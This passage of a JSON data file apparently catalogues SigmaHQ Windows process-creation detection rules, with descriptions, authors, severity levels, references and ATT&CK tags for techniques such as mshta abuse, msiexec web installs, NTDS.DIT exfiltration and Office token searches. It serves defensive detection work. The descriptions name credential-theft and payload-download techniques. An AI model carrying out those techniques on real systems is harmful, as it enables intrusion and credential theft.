"creation_date": "2022/01/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_mpiexec_lolbin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml", - "https://twitter.com/mrd0x/status/1465058133303246867", - "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d", - "value": "MpiExec Lolbin" - }, - { - "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", - "meta": { - "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", - "creation_date": "2019/02/22", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_mshta_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", - "https://twitter.com/mattifestation/status/1326228491302563846", - "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml", - "http://blog.sevagas.com/?Hacking-around-HTA-files", - "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.t1218.005", - "attack.execution", - "attack.t1059.007", - "cve.2020.1599" - ] - }, - "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3", - "value": "MSHTA Suspicious Execution 01" - }, - { - "description": "Detects suspicious mshta process patterns", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_mshta_pattern.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml", - "https://www.echotrail.io/insights/search/mshta.exe", - "https://en.wikipedia.org/wiki/HTML_Application", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/" - ], - "tags": [ - "attack.execution", - "attack.t1106" - ] - }, - "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba", - "value": "Suspicious MSHTA Process Patterns" - }, - { - "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_mshtml_runhtmlapplication.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml", - "https://twitter.com/n1nj4sec/status/1421190238081277959" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c", - "value": "Mshtml DLL RunHTMLApplication Abuse" - }, - { - "description": "Detects execution of msiexec from an uncommon directory", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/11/14", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_msiexec_cwd.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml", - "https://twitter.com/200_okay_/status/1194765831911215104" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144", - "value": "Suspicious MsiExec Directory" - }, - { - "description": "Detects suspicious msiexec process starts with web addresses as parameter", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/02/09", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_msiexec_web_install.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml", - "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007", - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f", - "value": "MsiExec Web Install" - }, - { - "description": "Downloads payload from remote server", - "meta": { - "author": "Beyu Denis, oscd.community", - "creation_date": "2019/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_msoffice.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml", - "Reegun J (OCBC Bank)", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", - "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "0c79148b-118e-472b-bdb7-9b57b444cc19", - "value": "Malicious Payload Download via Office Binaries" - }, - { - "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", - "meta": { - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/12/07", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_netsh_discovery_command.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ] - }, - "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f", - "value": "Suspicious Netsh Discovery Command" - }, - { - "description": "Detects persitence via netsh helper", - "meta": { - "author": "Victor Sergeev, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_netsh_dll_persistence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/software/S0108/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.007", - "attack.s0108" - ] - }, - "uuid": "56321594-9087-49d9-bf10-524fe8479452", - "value": "Suspicious Netsh DLL Persistence" - }, - { - "description": "Detects netsh commands that turns off the Windows firewall", - "meta": { - "author": "Fatih Sirin", - "creation_date": "2019/11/01", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_susp_netsh_firewall_disable.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml", - "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004", - "attack.s0108" - ] - }, - "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3", - "value": "Firewall Disabled via Netsh" - }, - { - "description": "Detects execution of client32.exe (NetSupport RAT) from an unsual location (outisde of 'C:\\Program Files')", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_netsupport_rat_exec_location.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml", - "https://redcanary.com/blog/misbehaving-rats/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "37e8d358-6408-4853-82f4-98333fca7014", - "value": "Execution of NetSupport RAT From Unusual Location" - }, - { - "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", - "meta": { - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/12/07", - "falsepositive": [ - "Administrator, hotline ask to user" - ], - "filename": "proc_creation_win_susp_network_command.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ] - }, - "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae", - "value": "Suspicious Network Command" - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_network_listing_connections.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ] - }, - "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81", - "value": "Suspicious Listing of Network Connections" - }, - { - "description": "Detects execution of Net.exe, whether suspicious or benign.", - "meta": { - "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)", - "creation_date": "2019/01/16", - "falsepositive": [ - "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine." - ], - "filename": "proc_creation_win_susp_net_execution.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", - "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", - "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", - "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html" - ], - "tags": [ - "attack.discovery", - "attack.t1007", - "attack.t1049", - "attack.t1018", - "attack.t1135", - "attack.t1201", - "attack.t1069.001", - "attack.t1069.002", - "attack.t1087.001", - "attack.t1087.002", - "attack.lateral_movement", - "attack.t1021.002", - "attack.s0039" - ] - }, - "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", - "value": "Net.exe Execution" - }, - { - "description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", - "meta": { - "author": "pH-T", - "creation_date": "2022/09/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_net_use.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/ShadowChasing1/status/1552595370961944576", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml", - "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993", - "value": "Suspicious Net Use Command Combo" - }, - { - "description": "Detects a when net.exe is called with a password in the command line", - "meta": { - "author": "Tim Shelton (HAWK.IO)", - "creation_date": "2021/12/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_net_use_password_plaintext.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml", - "Internal Research" - ], - "tags": "No established tags" - }, - "uuid": "d4498716-1d52-438f-8084-4a603157d131", - "value": "Password Provided In Command Line Of Net.exe" - }, - { - "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/14", - "falsepositive": [ - "Rare legitimate installation of kernel drivers via sc.exe" - ], - "filename": "proc_creation_win_susp_new_kernel_driver_via_sc.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "431a1fdb-4799-4f3b-91c3-a683b003fc49", - "value": "New Kernel Driver Via SC.EXE" - }, - { - "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_new_service_creation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8", - "value": "Suspicious New Service Creation" - }, - { - "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/14", - "falsepositive": [ - "Another tool that uses the command line switches of Ngrok", - "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" - ], - "filename": "proc_creation_win_susp_ngrok_pua.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", - "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", - "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/.", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml", - "https://ngrok.com/docs", - "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ] - }, - "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31", - "value": "Ngrok Usage" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Network administrator computer" - ], - "filename": "proc_creation_win_susp_nmap.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", - "https://nmap.org/" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3", - "value": "Suspicious Nmap Execution" - }, - { - "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", - "meta": { - "author": "Max Altgelt", - "creation_date": "2021/12/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_non_exe_image.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml", - "https://pentestlaboratories.com/2021/12/08/process-ghosting/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", - "value": "Execution of Suspicious File Type Extension" - }, - { - "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_ntdll_type_redirect.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.x86matthew.com/view_post?id=ntdll_pipe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdll_type_redirect.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2", - "value": "Suspicious Ntdll Pipe Redirection" - }, - { - "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_ntds.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://github.com/zcgonvh/NTDSDumpEx", - "https://pentestlab.blog/tag/ntds-dit/", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08", - "value": "Suspicious Process Patterns NTDS.DIT Exfil" - }, - { - "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/14", - "falsepositive": [ - "Legitimate usage to restore snapshots", - "Legitimate admin activity" - ], - "filename": "proc_creation_win_susp_ntdsutil_usage.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", - "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)" - }, - { - "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", - "meta": { - "author": "Elastic (idea), Tobias Michalski", - "creation_date": "2022/05/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_ntlmrelay.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml", - "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", - "https://twitter.com/med0x2e/status/1520402518685200384" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1212" - ] - }, - "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", - "value": "Suspicious WebDav Client Execution" - }, - { - "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", - "meta": { - "author": "Nasreddine Bencherchali @nas_bench", - "creation_date": "2021/12/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "c6c56ada-612b-42d1-9a29-adad3c5c2c1e", - "value": "Suspicious NT Resource Kit Auditpol Usage" - }, - { - "description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", - "meta": { - "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate use of odbcconf.exe by legitimate user" - ], - "filename": "proc_creation_win_susp_odbcconf.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml", - "https://twitter.com/Hexacorn/status/1187143326673330176" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.008" - ] - }, - "uuid": "65d2be45-8600-4042-b4c0-577a1ff8a60e", - "value": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe" - }, - { - "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/25", - "falsepositive": [ - "Legitimate command-lines containing the string mentioned in the command-line" - ], - "filename": "proc_creation_win_susp_office_token_search.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://mrd0x.com/stealing-tokens-from-office-applications/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ] - }, - "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615", - "value": "Suspicious Office Token Search Via CLI" - }, - { - "description": "The OpenWith.exe executes other binary", - "meta": { - "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", - "creation_date": "2019/10/12", - "falsepositive": [ - "Legitimate use of OpenWith.exe by legitimate user" - ], - "filename": "proc_creation_win_susp_openwith.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml", - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", - "https://twitter.com/harr0ey/status/991670870384021504" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f", - "value": "OpenWith.exe Executes Specified Binary" - }, - { - "description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/12/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_outlook.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml", - "https://github.com/sensepost/ruler", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.t1202" - ] - }, - "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723", - "value": "Suspicious Execution from Outlook" - }, - { - "description": "Detects a suspicious program execution in Outlook temp folder", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_outlook_temp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook_temp.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39", - "value": "Execution in Outlook Temp Folder" - }, - { - "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_parents.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/x86matthew/status/1505476263464607744?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml", - "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b" - ], - "tags": "No established tags" - }, - "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df", - "value": "Suspicious Process Parents" - }, - { - "description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_parent_of_conhost.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml", - "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89", - "value": "Conhost Spawned By Suspicious Parent Process" - }, - { - "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/10/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_pchunter.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://www.xuetr.com/", - "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml", - "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/" - ], - "tags": "No established tags" - }, - "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5", - "value": "PCHunter Usage" - }, - { - "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/05", - "falsepositive": [ - "Use of Program Compatibility Troubleshooter Helper" - ], - "filename": "proc_creation_win_susp_pcwutl.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/harr0ey/status/989617817849876488", - 